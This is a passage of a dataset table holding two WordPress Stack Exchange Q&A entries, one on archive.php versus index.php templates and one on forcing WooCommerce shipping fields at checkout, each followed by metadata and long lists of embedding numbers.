id
stringlengths 40
40
| text
stringlengths 29
2.03k
| original_text
stringlengths 3
154k
| subdomain
stringclasses 20
values | metadata
dict | emb
listlengths 1.02k
1.02k
|
---|---|---|---|---|---|
3754b8b3c8a6de317694a51da33400b7585b6e9a
|
Wordpress Stackexchange
Q: What is the point of using archive.php instead of index.php? Dumb Questions Ahead:
*
*If index.php and archive.php are practically the same thing, what's the point of having archive.php?
*When should I ever want to use archive.php over index.php?
*If I use front-page and Blog, it doesn't switch to archive.php which you might expect to and then use index.php in the place of front-page.php.
A: index.php and archive.php might be the same but don't have to be the same. index.php will display your blog post archive and in the absence of archive.php (or other more specific archive files) it will display your date, author, etc. archives as well. But it doesn't have to.
You can, if you want, display your archived differently that your main blog index. That is the point of those specialized files-- they allow you to alter the look of specific pages without having to write complicated conditionals into the index.php file.
The difference between the two files is what you make of it. That difference can be a lot or none.
Reference
http://codex.wordpress.org/Template_Hierarchy
|
Q: What is the point of using archive.php instead of index.php? Dumb Questions Ahead:
*
*If index.php and archive.php are practically the same thing, what's the point of having archive.php?
*When should I ever want to use archive.php over index.php?
*If I use front-page and Blog, it doesn't switch to archive.php which you might expect to and then use index.php in the place of front-page.php.
A: index.php and archive.php might be the same but don't have to be the same. index.php will display your blog post archive and in the absence of archive.php (or other more specific archive files) it will display your date, author, etc. archives as well. But it doesn't have to.
You can, if you want, display your archived differently that your main blog index. That is the point of those specialized files-- they allow you to alter the look of specific pages without having to write complicated conditionals into the index.php file.
The difference between the two files is what you make of it. That difference can be a lot or none.
Reference
http://codex.wordpress.org/Template_Hierarchy
|
wordpress
|
{
"language": "en",
"length": 178,
"provenance": "stackexchange_00019.jsonl.gz:435877",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110296"
}
|
[
0.0697021484375,
-0.0167999267578125,
-0.0052642822265625,
-0.010589599609375,
0.00655364990234375,
-0.04095458984375,
0.06915283203125,
-0.01526641845703125,
0.0257568359375,
-0.015045166015625,
-0.01233673095703125,
-0.02294921875,
-0.0296173095703125,
-0.040313720703125,
0.007320404052734375,
-0.02667236328125,
0.043182373046875,
-0.05633544921875,
0.0019741058349609375,
-0.00848388671875,
-0.00021147727966308594,
0.01947021484375,
0.036285400390625,
0.0240325927734375,
0.03106689453125,
-0.0245513916015625,
0.058380126953125,
-0.019317626953125,
0.014434814453125,
-0.011871337890625,
0.00868988037109375,
-0.0100250244140625,
0.0269317626953125,
0.01003265380859375,
0.00522613525390625,
0.039581298828125,
-0.0252532958984375,
0.0157623291015625,
0.00798797607421875,
0.0179901123046875,
0.01367950439453125,
0.0009670257568359375,
0.06219482421875,
-0.01366424560546875,
0.004878997802734375,
-0.00484466552734375,
0.01273345947265625,
-0.0291595458984375,
-0.004032135009765625,
-0.031280517578125,
0.0150299072265625,
0.05963134765625,
0.03582763671875,
-0.01334381103515625,
0.00785064697265625,
0.035003662109375,
0.016876220703125,
0.008392333984375,
0.0259857177734375,
-0.05828857421875,
-0.049468994140625,
0.02264404296875,
0.032928466796875,
0.025726318359375,
0.002574920654296875,
-0.0216522216796875,
-0.0037059783935546875,
0.026947021484375,
-0.08587646484375,
-0.0003814697265625,
0.055328369140625,
-0.055084228515625,
-0.001537322998046875,
-0.0264129638671875,
-0.0418701171875,
0.01261138916015625,
0.021240234375,
-0.012298583984375,
0.0027675628662109375,
-0.002513885498046875,
-0.056884765625,
-0.004695892333984375,
-0.0312042236328125,
-0.06634521484375,
0.01207733154296875,
-0.032318115234375,
-0.032470703125,
0.018829345703125,
-0.0286865234375,
-0.0127716064453125,
-0.01219940185546875,
-0.0601806640625,
-0.01153564453125,
0.00371551513671875,
0.014068603515625,
-0.04425048828125,
0.01155853271484375,
0.035552978515625,
-0.01049041748046875,
-0.005077362060546875,
-0.00435638427734375,
-0.0271453857421875,
0.0103759765625,
-0.02203369140625,
0.0023097991943359375,
0.07525634765625,
0.01476287841796875,
0.039337158203125,
0.04144287109375,
-0.00588226318359375,
0.035858154296875,
0.03814697265625,
-0.03759765625,
-0.0875244140625,
0.0192718505859375,
0.0328369140625,
-0.0399169921875,
0.03173828125,
0.04461669921875,
-0.016815185546875,
0.0202178955078125,
0.0438232421875,
0.0074920654296875,
-0.036865234375,
-0.011016845703125,
-0.004711151123046875,
-0.004878997802734375,
-0.05706787109375,
0.0185546875,
0.0543212890625,
-0.01212310791015625,
-0.0272216796875,
-0.0279998779296875,
-0.00408172607421875,
-0.00859832763671875,
-0.0289459228515625,
0.005916595458984375,
0.00029349327087402344,
-0.009124755859375,
0.0189361572265625,
0.00151824951171875,
-0.070556640625,
-0.028289794921875,
0.003635406494140625,
-0.040435791015625,
0.025299072265625,
0.039398193359375,
0.034423828125,
-0.048797607421875,
-0.0753173828125,
-0.001354217529296875,
0.010589599609375,
0.01422882080078125,
-0.0009870529174804688,
0.0193023681640625,
-0.03546142578125,
-0.00029921531677246094,
-0.0184783935546875,
0.0272979736328125,
-0.0104522705078125,
-0.003063201904296875,
-0.01099395751953125,
0.0011615753173828125,
-0.05047607421875,
-0.04766845703125,
0.01049041748046875,
-0.04193115234375,
-0.00420379638671875,
0.0185699462890625,
-0.04669189453125,
0.0191650390625,
-0.0181121826171875,
0.0360107421875,
0.007564544677734375,
0.0025615692138671875,
0.0256195068359375,
-0.0219268798828125,
0.01346588134765625,
0.00934600830078125,
0.0626220703125,
0.020721435546875,
-0.0298919677734375,
0.023681640625,
0.0019025802612304688,
-0.046417236328125,
0.033935546875,
0.0285797119140625,
0.061431884765625,
-0.00980377197265625,
0.036865234375,
0.0438232421875,
0.029449462890625,
-0.039825439453125,
0.063232421875,
0.0177764892578125,
-0.006336212158203125,
-0.02099609375,
0.00891876220703125,
0.0017948150634765625,
-0.09417724609375,
0.022186279296875,
0.031585693359375,
-0.01885986328125,
0.0017614364624023438,
-0.063720703125,
0.0142822265625,
-0.0183868408203125,
0.04034423828125,
-0.00414276123046875,
0.038818359375,
0.01513671875,
0.0191497802734375,
-0.0389404296875,
0.0322265625,
-0.001819610595703125,
-0.00897979736328125,
-0.007564544677734375,
-0.004940032958984375,
-0.006500244140625,
-0.00612640380859375,
-0.0012712478637695312,
0.0098419189453125,
-0.0211334228515625,
0.0015363693237304688,
0.06317138671875,
-0.0197906494140625,
-0.00946807861328125,
-0.0421142578125,
-0.00041747093200683594,
0.01384735107421875,
-0.08599853515625,
0.04644775390625,
0.045196533203125,
0.035491943359375,
-0.033172607421875,
-0.0173492431640625,
-0.037384033203125,
-0.058258056640625,
-0.006900787353515625,
0.06243896484375,
0.041015625,
0.050201416015625,
0.0204010009765625,
0.0264739990234375,
0.042022705078125,
-0.0175018310546875,
0.035003662109375,
-0.035369873046875,
-0.004543304443359375,
-0.0088653564453125,
-0.0122833251953125,
-0.0241546630859375,
0.03924560546875,
-0.022216796875,
-0.0274505615234375,
0.0380859375,
0.043731689453125,
0.0200042724609375,
-0.01097869873046875,
0.03448486328125,
-0.01215362548828125,
0.02703857421875,
-0.03204345703125,
0.01361083984375,
0.0166168212890625,
0.0281829833984375,
0.03851318359375,
0.027496337890625,
-0.037078857421875,
0.0135498046875,
0.01145172119140625,
0.0297088623046875,
0.0166473388671875,
0.01593017578125,
-0.019805908203125,
0.0080413818359375,
0.01947021484375,
-0.023193359375,
0.0030517578125,
-0.01776123046875,
-0.01538848876953125,
-0.0033435821533203125,
-0.0234375,
-0.00829315185546875,
0.005786895751953125,
-0.07373046875,
0.0095672607421875,
0.0172119140625,
-0.0276641845703125,
-0.040130615234375,
-0.0036869049072265625,
-0.00853729248046875,
-0.035186767578125,
0.01351165771484375,
0.00775909423828125,
-0.035736083984375,
-0.0384521484375,
-0.045318603515625,
0.038360595703125,
-0.0205535888671875,
0.05792236328125,
0.06805419921875,
-0.01352691650390625,
0.0240631103515625,
0.00951385498046875,
-0.017364501953125,
0.011505126953125,
0.01361083984375,
-0.00441741943359375,
0.01031494140625,
-0.06707763671875,
0.0198516845703125,
0.0309295654296875,
0.0174560546875,
0.018829345703125,
-0.0242156982421875,
-0.0068359375,
0.032012939453125,
-0.08856201171875,
-0.09002685546875,
-0.0012302398681640625,
-0.1275634765625,
0.017669677734375,
-0.03802490234375,
-0.06390380859375,
-0.021484375,
0.0197601318359375,
0.022064208984375,
0.043701171875,
-0.032470703125,
-0.029693603515625,
-0.040740966796875,
-0.07891845703125,
-0.078369140625,
0.0109100341796875,
-0.00977325439453125,
0.004161834716796875,
0.0263519287109375,
-0.01009368896484375,
-0.07073974609375,
-0.0207366943359375,
0.023712158203125,
-0.0301971435546875,
-0.0224456787109375,
0.06121826171875,
-0.054779052734375,
-0.043365478515625,
0.016815185546875,
0.00982666015625,
0.0152587890625,
-0.03448486328125,
-0.01123809814453125,
-0.02301025390625,
-0.01806640625,
-0.011199951171875,
0.040740966796875,
0.0160980224609375,
-0.0166473388671875,
0.0000553131103515625,
-0.04278564453125,
-0.0294952392578125,
-0.01080322265625,
-0.05413818359375,
-0.024322509765625,
0.0399169921875,
-0.00698089599609375,
-0.0350341796875,
0.002346038818359375,
-0.01470947265625,
-0.019989013671875,
-0.0127105712890625,
-0.042999267578125,
0.04376220703125,
0.0035419464111328125,
0.015045166015625,
0.005237579345703125,
-0.004486083984375,
-0.04156494140625,
0.01971435546875,
-0.0010309219360351562,
-0.01027679443359375,
0.01708984375,
-0.019134521484375,
0.03057861328125,
-0.07415771484375,
0.021484375,
-0.04998779296875,
0.00682830810546875,
-0.03271484375,
0.003875732421875,
0.0029926300048828125,
0.0755615234375,
-0.0369873046875,
-0.005519866943359375,
0.022216796875,
0.0038547515869140625,
0.0170440673828125,
-0.01424407958984375,
-0.04510498046875,
-0.03515625,
-0.0199737548828125,
0.00765228271484375,
-0.01409149169921875,
0.00888824462890625,
-0.02972412109375,
0.0037937164306640625,
-0.01044464111328125,
-0.027496337890625,
0.01934814453125,
-0.022796630859375,
0.004878997802734375,
0.006816864013671875,
-0.0030364990234375,
-0.034332275390625,
0.0010852813720703125,
-0.02996826171875,
-0.0595703125,
-0.01092529296875,
0.00388336181640625,
0.03265380859375,
-0.00428009033203125,
-0.021514892578125,
-0.0147705078125,
0.037506103515625,
-0.014862060546875,
0.0200653076171875,
0.004924774169921875,
0.01224517822265625,
0.0206451416015625,
-0.024017333984375,
-0.01284027099609375,
-0.021881103515625,
-0.00441741943359375,
-0.043548583984375,
-0.04815673828125,
-0.03759765625,
-0.04376220703125,
0.005115509033203125,
-0.016357421875,
-0.0152740478515625,
-0.06365966796875,
-0.0206451416015625,
-0.007404327392578125,
0.01389312744140625,
0.0147552490234375,
-0.03204345703125,
-0.026153564453125,
-0.059906005859375,
0.004550933837890625,
0.0147857666015625,
-0.048187255859375,
0.006908416748046875,
0.035125732421875,
0.0308990478515625,
-0.028472900390625,
-0.047698974609375,
0.0141754150390625,
0.038604736328125,
-0.02569580078125,
0.052154541015625,
0.0076141357421875,
-0.01922607421875,
0.058319091796875,
-0.01168060302734375,
0.0033054351806640625,
-0.0211181640625,
0.0220947265625,
-0.0137481689453125,
-0.0250244140625,
0.0143890380859375,
-0.0272979736328125,
0.03955078125,
-0.0169219970703125,
-0.002696990966796875,
-0.0091705322265625,
0.0119476318359375,
0.0257415771484375,
-0.0025615692138671875,
0.0199127197265625,
-0.01922607421875,
-0.03411865234375,
0.01102447509765625,
0.006725311279296875,
0.0229644775390625,
0.0141754150390625,
0.0010204315185546875,
0.025665283203125,
0.020843505859375,
-0.007755279541015625,
0.037750244140625,
0.017181396484375,
0.01149749755859375,
0.0189208984375,
0.01385498046875,
-0.01050567626953125,
-0.002422332763671875,
-0.01110076904296875,
0.03302001953125,
0.0044708251953125,
-0.0584716796875,
-0.0033721923828125,
0.01276397705078125,
0.0167694091796875,
0.0208587646484375,
-0.04412841796875,
0.03680419921875,
0.0222015380859375,
-0.022247314453125,
0.0012693405151367188,
-0.038726806640625,
-0.021881103515625,
-0.050048828125,
0.007198333740234375,
0.0173187255859375,
-0.0224456787109375,
0.004302978515625,
0.048583984375,
-0.007110595703125,
0.026123046875,
-0.0253143310546875,
0.008636474609375,
-0.01416015625,
0.0557861328125,
0.0085601806640625,
-0.0119781494140625,
-0.0027637481689453125,
0.040252685546875,
0.0234527587890625,
-0.0079498291015625,
0.0190887451171875,
-0.019195556640625,
0.0113525390625,
-0.0124053955078125,
-0.00922393798828125,
0.03057861328125,
-0.0287628173828125,
-0.0006079673767089844,
0.03662109375,
0.0308990478515625,
0.004482269287109375,
-0.038238525390625,
-0.030120849609375,
0.035247802734375,
-0.00020051002502441406,
-0.019195556640625,
0.005825042724609375,
-0.01332855224609375,
0.0153656005859375,
0.006397247314453125,
-0.034332275390625,
0.01172637939453125,
0.0126495361328125,
0.05047607421875,
-0.0264739990234375,
-0.007198333740234375,
-0.051422119140625,
0.011810302734375,
-0.051849365234375,
0.00006639957427978516,
0.0887451171875,
-0.036895751953125,
0.0266571044921875,
-0.016265869140625,
-0.0181427001953125,
-0.028411865234375,
0.0111846923828125,
0.0174713134765625,
0.0183258056640625,
-0.08770751953125,
0.0323486328125,
-0.05902099609375,
-0.007259368896484375,
-0.05224609375,
-0.054779052734375,
-0.071533203125,
0.00452423095703125,
-0.0095977783203125,
0.00028586387634277344,
0.004375457763671875,
0.0218505859375,
-0.052154541015625,
0.0202178955078125,
0.0027561187744140625,
0.035736083984375,
-0.04278564453125,
0.041412353515625,
0.00250244140625,
0.018096923828125,
-0.005054473876953125,
0.0239105224609375,
0.016448974609375,
-0.01264190673828125,
0.031982421875,
-0.038909912109375,
-0.03399658203125,
-0.0204925537109375,
-0.035888671875,
-0.0089874267578125,
0.014923095703125,
-0.006744384765625,
-0.02777099609375,
0.004749298095703125,
0.0107879638671875,
-0.02996826171875,
0.034149169921875,
0.0131378173828125,
-0.0183258056640625,
-0.037109375,
-0.01224517822265625,
0.016357421875,
-0.00528717041015625,
-0.005092620849609375,
0.0139923095703125,
-0.00820159912109375,
0.0134735107421875,
0.004535675048828125,
-0.0213775634765625,
0.04150390625,
0.08087158203125,
0.00722503662109375,
0.055908203125,
0.0265350341796875,
0.01605224609375,
0.02435302734375,
0.0307464599609375,
-0.036376953125,
-0.00814056396484375,
0.058258056640625,
0.01366424560546875,
-0.030548095703125,
0.0248565673828125,
-0.0350341796875,
-0.002941131591796875,
0.04754638671875,
0.056060791015625,
-0.054779052734375,
-0.01351165771484375,
0.0184173583984375,
-0.0129852294921875,
-0.0086212158203125,
0.0020580291748046875,
-0.036651611328125,
-0.051513671875,
0.05865478515625,
-0.0017309188842773438,
-0.00972747802734375,
0.017425537109375,
0.034271240234375,
0.01393890380859375,
-0.0200958251953125,
0.06341552734375,
0.03094482421875,
-0.044677734375,
0.02288818359375,
0.0257720947265625,
0.0269317626953125,
0.0142059326171875,
-0.0008425712585449219,
-0.03546142578125,
-0.045928955078125,
-0.024505615234375,
-0.04302978515625,
-0.0173492431640625,
-0.0211334228515625,
-0.022705078125,
0.00800323486328125,
0.045135498046875,
0.01910400390625,
-0.00308990478515625,
-0.01227569580078125,
-0.007022857666015625,
0.0187225341796875,
-0.07440185546875,
-0.0274658203125,
0.0284881591796875,
-0.00623321533203125,
-0.012420654296875,
0.033477783203125,
-0.0201873779296875,
-0.06146240234375,
-0.01395416259765625,
-0.0203399658203125,
0.0936279296875,
-0.03485107421875,
-0.0231475830078125,
0.005367279052734375,
-0.0156707763671875,
-0.017425537109375,
-0.011627197265625,
0.046173095703125,
-0.05145263671875,
-0.02947998046875,
0.01580810546875,
-0.019439697265625,
-0.0006380081176757812,
-0.00556182861328125,
-0.0245513916015625,
0.1119384765625,
-0.009368896484375,
-0.00849151611328125,
0.018890380859375,
0.061370849609375,
-0.0120086669921875,
0.05255126953125,
0.0170745849609375,
-0.01068878173828125,
-0.03802490234375,
-0.0021228790283203125,
-0.006053924560546875,
0.00820159912109375,
-0.002323150634765625,
0.03607177734375,
0.038299560546875,
0.01358795166015625,
-0.0161590576171875,
-0.0013179779052734375,
0.06317138671875,
0.035858154296875,
-0.0032901763916015625,
0.033905029296875,
0.00018417835235595703,
0.0280609130859375,
0.0171661376953125,
-0.0212860107421875,
0.0270843505859375,
-0.0133209228515625,
-0.0266876220703125,
0.029876708984375,
0.027801513671875,
0.0161895751953125,
-0.0030059814453125,
0.0064697265625,
-0.056304931640625,
0.01000213623046875,
0.03753662109375,
0.00498199462890625,
-0.03851318359375,
0.04803466796875,
0.03155517578125,
-0.05572509765625,
-0.036224365234375,
-0.0304107666015625,
0.04376220703125,
0.0204925537109375,
0.0167694091796875,
0.02679443359375,
0.0170440673828125,
0.01959228515625,
-0.0031032562255859375,
0.015777587890625,
0.036529541015625,
-0.0222625732421875,
0.0257720947265625,
0.0250244140625,
0.0203094482421875,
-0.016632080078125,
-0.0055389404296875,
0.022735595703125,
0.037567138671875,
-0.0287322998046875,
-0.04241943359375,
0.007091522216796875,
-0.0252685546875,
0.0026226043701171875,
0.0187835693359375,
0.0013303756713867188,
-0.033721923828125,
-0.0209197998046875,
0.00377655029296875,
-0.0007052421569824219,
-0.00655364990234375,
-0.03546142578125,
0.01507568359375,
0.03204345703125,
0.02001953125,
0.0250244140625,
0.0036449432373046875,
0.0015821456909179688,
-0.0110931396484375,
0.0014190673828125,
0.0007348060607910156,
0.01467132568359375,
0.0178680419921875,
0.01531982421875,
-0.03839111328125,
0.057891845703125,
-0.031219482421875,
0.0609130859375,
-0.07867431640625,
-0.048583984375,
0.0019989013671875,
0.04498291015625,
-0.004730224609375,
0.01050567626953125,
0.026611328125,
0.01397705078125,
-0.0004038810729980469,
-0.0089111328125,
0.0218353271484375,
-0.01404571533203125,
0.025115966796875,
-0.0072479248046875,
0.02447509765625,
0.032196044921875,
-0.001071929931640625,
-0.031646728515625,
0.01439666748046875,
0.0650634765625,
-0.020843505859375,
0.01397705078125,
-0.00400543212890625,
-0.043792724609375,
0.0276031494140625,
-0.01512908935546875,
0.0662841796875,
0.0089111328125,
0.0220184326171875,
-0.0176849365234375,
0.01219940185546875,
0.025177001953125,
-0.03179931640625,
0.01837158203125,
0.0321044921875,
0.01325225830078125,
0.06610107421875,
-0.019195556640625,
-0.0019102096557617188,
-0.01035308837890625,
0.039581298828125,
0.037811279296875,
0.0133514404296875,
0.047119140625,
-0.0245819091796875,
-0.0384521484375,
-0.02142333984375,
0.0550537109375,
0.0172119140625,
0.0689697265625,
-0.0335693359375,
0.0083465576171875,
0.009796142578125,
0.00330352783203125,
-0.02520751953125,
-0.0015020370483398438,
0.007495880126953125,
-0.050201416015625,
-0.00640106201171875,
0.004886627197265625,
-0.05133056640625,
-0.00397491455078125,
0.062225341796875,
-0.060546875,
0.0202789306640625,
0.00019502639770507812,
0.01091766357421875,
-0.07135009765625,
0.005619049072265625,
-0.0162353515625,
-0.04730224609375,
0.00926971435546875,
0.0447998046875,
-0.01123046875,
0.00032830238342285156,
-0.04638671875,
0.0125579833984375,
0.0004296302795410156,
-0.0537109375,
0.01129913330078125,
-0.0232696533203125,
-0.01047515869140625,
0.01137542724609375,
0.06707763671875,
-0.0157623291015625,
0.01036834716796875,
-0.01617431640625,
0.0216217041015625,
0.00823974609375,
0.056610107421875,
-0.00510406494140625,
0.014404296875,
-0.0068206787109375,
0.01007843017578125,
0.051788330078125,
0.06365966796875,
0.01464080810546875,
-0.036285400390625,
-0.0171051025390625,
-0.04693603515625,
-0.0206146240234375,
-0.01629638671875,
0.001323699951171875,
-0.01198577880859375,
0.031097412109375,
-0.004451751708984375,
-0.033294677734375,
-0.08001708984375,
-0.0081939697265625,
0.0217437744140625,
0.007106781005859375,
-0.027435302734375,
-0.0001729726791381836,
-0.01448822021484375,
0.0197906494140625,
-0.019775390625,
0.0164794921875,
-0.0261688232421875,
-0.0099945068359375,
-0.046600341796875,
-0.0286102294921875,
-0.06072998046875,
0.03594970703125,
-0.03338623046875,
0.01247406005859375,
0.03887939453125,
-0.0282745361328125,
0.00804901123046875,
0.016265869140625,
0.027099609375,
0.0509033203125,
-0.02349853515625,
-0.0135650634765625,
0.0037860870361328125,
0.0174560546875,
-0.011138916015625,
-0.0244293212890625,
0.01666259765625,
-0.015380859375,
-0.0261077880859375,
-0.015777587890625,
-0.01103973388671875,
0.003173828125,
-0.041168212890625,
-0.09375,
0.06695556640625,
-0.028228759765625,
-0.04547119140625,
-0.043243408203125,
0.0217742919921875,
-0.002918243408203125,
-0.006923675537109375,
-0.0186920166015625,
-0.0025005340576171875,
0.004894256591796875,
0.037353515625,
0.010101318359375,
0.035125732421875,
0.00545501708984375,
-0.0014295578002929688,
-0.00725555419921875,
0.0221099853515625,
0.0167236328125,
0.005268096923828125,
-0.0269775390625,
0.0131072998046875,
0.03009033203125,
0.04205322265625,
-0.005519866943359375,
0.083984375,
0.03009033203125,
0.00440216064453125,
0.0070648193359375,
0.00965118408203125,
-0.043792724609375,
0.01003265380859375,
0.071044921875,
0.05133056640625,
0.033233642578125,
-0.047821044921875,
-0.026031494140625,
-0.017822265625,
-0.025115966796875,
-0.0087432861328125,
0.022186279296875,
-0.07525634765625,
-0.00905609130859375,
0.0173797607421875,
-0.0221710205078125,
0.0400390625,
-0.032928466796875,
-0.04052734375,
0.0123291015625,
-0.0288238525390625,
-0.0170135498046875,
-0.0032672882080078125,
-0.03472900390625,
0.0826416015625,
-0.03106689453125,
0.0357666015625,
-0.01407623291015625,
0.034759521484375,
0.0528564453125,
0.023040771484375,
-0.004596710205078125,
0.0276947021484375,
-0.016082763671875,
-0.00884246826171875,
0.02020263671875,
0.0175323486328125,
0.0219268798828125,
-0.0021724700927734375,
0.0157318115234375,
-0.005802154541015625,
-0.01432037353515625,
-0.03546142578125,
0.00508880615234375,
0.044647216796875,
-0.0242462158203125,
0.05645751953125,
0.003093719482421875,
-0.0003745555877685547,
-0.0020961761474609375,
0.0390625,
-0.057037353515625,
-0.00553131103515625,
-0.042236328125,
-0.030487060546875,
0.0065155029296875,
-0.030731201171875,
0.00494384765625,
-0.0166168212890625,
-0.0106964111328125,
-0.03424072265625,
-0.034149169921875,
0.0143280029296875
] |
4f3226985acd09284ac2bbb2ab82d165cd13c191
|
Wordpress Stackexchange
Q: WooCommerce Always Include Shipping Information in Checkout I have virtual products in my store but I still want to collect the shipping information from my customers so that I can mail them a card at the end of the year. But a cart with virtual products automatically hides the shipping information on the checkout page.
How can I force the shipping fields to show up? Is there a hook I can use?
A: This is actually pretty easy. You just have to add this snippet to your functions.php file.
add_filter( 'woocommerce_cart_needs_shipping', '__return_true' );
|
Q: WooCommerce Always Include Shipping Information in Checkout I have virtual products in my store but I still want to collect the shipping information from my customers so that I can mail them a card at the end of the year. But a cart with virtual products automatically hides the shipping information on the checkout page.
How can I force the shipping fields to show up? Is there a hook I can use?
A: This is actually pretty easy. You just have to add this snippet to your functions.php file.
add_filter( 'woocommerce_cart_needs_shipping', '__return_true' );
|
wordpress
|
{
"language": "en",
"length": 94,
"provenance": "stackexchange_00019.jsonl.gz:435890",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110342"
}
|
[
0.023101806640625,
0.005336761474609375,
-0.033447265625,
-0.0281524658203125,
0.0011272430419921875,
-0.009979248046875,
-0.0128936767578125,
-0.0205841064453125,
0.027557373046875,
0.0245361328125,
-0.057952880859375,
-0.01189422607421875,
-0.007701873779296875,
-0.004680633544921875,
-0.0276336669921875,
-0.04840087890625,
0.0266876220703125,
0.0008587837219238281,
0.014373779296875,
0.01122283935546875,
-0.0012884140014648438,
0.052276611328125,
-0.019073486328125,
0.03204345703125,
0.02020263671875,
-0.0111236572265625,
0.10760498046875,
-0.022796630859375,
0.047607421875,
-0.01381683349609375,
0.04034423828125,
-0.050750732421875,
0.0159912109375,
-0.0033168792724609375,
0.00856781005859375,
0.0239410400390625,
0.040496826171875,
-0.0074920654296875,
0.01421356201171875,
0.0300445556640625,
0.018280029296875,
-0.017486572265625,
0.0239105224609375,
-0.040008544921875,
0.01265716552734375,
-0.0175018310546875,
-0.016510009765625,
-0.07391357421875,
0.035186767578125,
0.0203094482421875,
-0.006160736083984375,
0.039306640625,
-0.012542724609375,
0.00406646728515625,
-0.0187225341796875,
-0.0174713134765625,
-0.06329345703125,
0.0465087890625,
0.0245819091796875,
-0.006069183349609375,
-0.00861358642578125,
-0.015045166015625,
0.007381439208984375,
0.004077911376953125,
-0.0028896331787109375,
0.0007271766662597656,
-0.0023670196533203125,
0.005199432373046875,
-0.0771484375,
-0.007495880126953125,
0.07781982421875,
-0.057037353515625,
0.0242156982421875,
0.0247802734375,
-0.04437255859375,
-0.03399658203125,
0.03228759765625,
0.010986328125,
0.034698486328125,
-0.01361846923828125,
0.01038360595703125,
0.009796142578125,
-0.036407470703125,
-0.05889892578125,
0.038421630859375,
-0.046295166015625,
0.0009183883666992188,
0.01351165771484375,
-0.0165557861328125,
-0.032501220703125,
-0.015716552734375,
-0.0021114349365234375,
-0.08612060546875,
0.0234527587890625,
0.01220703125,
-0.0401611328125,
0.004405975341796875,
0.039520263671875,
0.0009293556213378906,
0.02886962890625,
-0.0196685791015625,
-0.028594970703125,
0.0290069580078125,
-0.04736328125,
0.0118560791015625,
0.0287017822265625,
-0.04095458984375,
-0.0181121826171875,
0.05511474609375,
0.038543701171875,
0.0214996337890625,
-0.00559234619140625,
-0.0031719207763671875,
-0.0127716064453125,
-0.004924774169921875,
-0.0245819091796875,
-0.058349609375,
0.05078125,
0.0099029541015625,
-0.0108184814453125,
0.0164642333984375,
0.03497314453125,
-0.03814697265625,
-0.01812744140625,
-0.0267333984375,
-0.030120849609375,
-0.007183074951171875,
-0.003108978271484375,
0.043792724609375,
0.0254364013671875,
-0.036163330078125,
-0.00862884521484375,
0.03594970703125,
0.032501220703125,
0.012603759765625,
-0.0259552001953125,
0.024383544921875,
-0.0128173828125,
0.036346435546875,
0.0025177001953125,
0.003948211669921875,
-0.007656097412109375,
0.00917816162109375,
0.01019287109375,
-0.0009403228759765625,
0.005970001220703125,
0.021392822265625,
0.019927978515625,
-0.0023040771484375,
-0.020965576171875,
-0.0088043212890625,
0.009490966796875,
-0.0174102783203125,
0.0265960693359375,
0.03338623046875,
0.07025146484375,
0.023590087890625,
0.01934814453125,
-0.03814697265625,
0.042877197265625,
-0.0084991455078125,
-0.017303466796875,
0.00437164306640625,
-0.078369140625,
-0.08935546875,
0.034271240234375,
-0.03887939453125,
-0.017608642578125,
0.037139892578125,
-0.0012111663818359375,
0.042205810546875,
-0.009307861328125,
0.059539794921875,
-0.0033702850341796875,
-0.0166015625,
-0.01171112060546875,
0.03662109375,
0.0243682861328125,
0.0318603515625,
0.0028820037841796875,
-0.040191650390625,
-0.03509521484375,
0.1015625,
-0.059051513671875,
-0.055633544921875,
0.07183837890625,
-0.0063629150390625,
0.0189056396484375,
-0.007568359375,
-0.006458282470703125,
0.0185089111328125,
0.07269287109375,
-0.053497314453125,
-0.01273345947265625,
-0.0138397216796875,
0.03607177734375,
-0.0008602142333984375,
0.009735107421875,
0.012786865234375,
-0.008026123046875,
-0.004100799560546875,
-0.04669189453125,
0.0240325927734375,
0.01441192626953125,
0.03509521484375,
-0.0341796875,
0.018096923828125,
-0.0191650390625,
-0.02081298828125,
0.0008482933044433594,
0.0253753662109375,
0.0158843994140625,
-0.0340576171875,
0.007537841796875,
-0.0020008087158203125,
0.0015001296997070312,
-0.034332275390625,
0.057403564453125,
0.0011234283447265625,
0.04644775390625,
0.018768310546875,
-0.03778076171875,
0.03240966796875,
0.0052947998046875,
-0.032196044921875,
0.004817962646484375,
-0.0252838134765625,
0.009124755859375,
0.00830078125,
-0.0159759521484375,
0.08935546875,
0.00786590576171875,
0.005077362060546875,
-0.007080078125,
-0.051361083984375,
-0.01153564453125,
-0.045684814453125,
-0.050872802734375,
0.0014896392822265625,
0.06085205078125,
0.025787353515625,
0.01087188720703125,
0.008544921875,
0.04827880859375,
0.0283203125,
-0.034423828125,
0.0153961181640625,
0.0106964111328125,
0.0123443603515625,
0.0283966064453125,
-0.006195068359375,
0.0016832351684570312,
0.0233306884765625,
-0.05743408203125,
0.015838623046875,
0.038665771484375,
-0.01384735107421875,
-0.006641387939453125,
0.0075225830078125,
-0.0012884140014648438,
0.00829315185546875,
0.0016164779663085938,
0.003692626953125,
-0.01104736328125,
0.0161590576171875,
-0.01544189453125,
0.01363372802734375,
-0.0002760887145996094,
-0.02203369140625,
0.0008397102355957031,
0.01702880859375,
-0.01024627685546875,
0.01007080078125,
0.04412841796875,
-0.051300048828125,
0.0248870849609375,
-0.024566650390625,
-0.00806427001953125,
0.00753021240234375,
0.0175018310546875,
-0.0034580230712890625,
-0.01264190673828125,
0.01141357421875,
-0.00246429443359375,
0.045379638671875,
-0.03277587890625,
0.021514892578125,
-0.0131988525390625,
0.01367950439453125,
-0.0173797607421875,
0.0012578964233398438,
0.00366973876953125,
-0.040252685546875,
0.047210693359375,
-0.0284881591796875,
-0.03643798828125,
0.004711151123046875,
-0.021026611328125,
0.032196044921875,
-0.0306396484375,
-0.0062713623046875,
0.050933837890625,
0.001964569091796875,
-0.0143890380859375,
0.02923583984375,
-0.037200927734375,
0.00836944580078125,
0.018890380859375,
0.0003802776336669922,
0.0127410888671875,
-0.08221435546875,
0.0249176025390625,
0.0310516357421875,
-0.0174102783203125,
0.00411224365234375,
-0.031890869140625,
-0.034271240234375,
0.0117950439453125,
-0.06683349609375,
-0.01230621337890625,
-0.05865478515625,
-0.00653076171875,
-0.0509033203125,
-0.0036449432373046875,
-0.00691986083984375,
0.045684814453125,
-0.019287109375,
-0.00164794921875,
-0.05511474609375,
-0.021240234375,
-0.047882080078125,
-0.07745361328125,
-0.01465606689453125,
0.04541015625,
-0.01311492919921875,
-0.01074981689453125,
-0.007808685302734375,
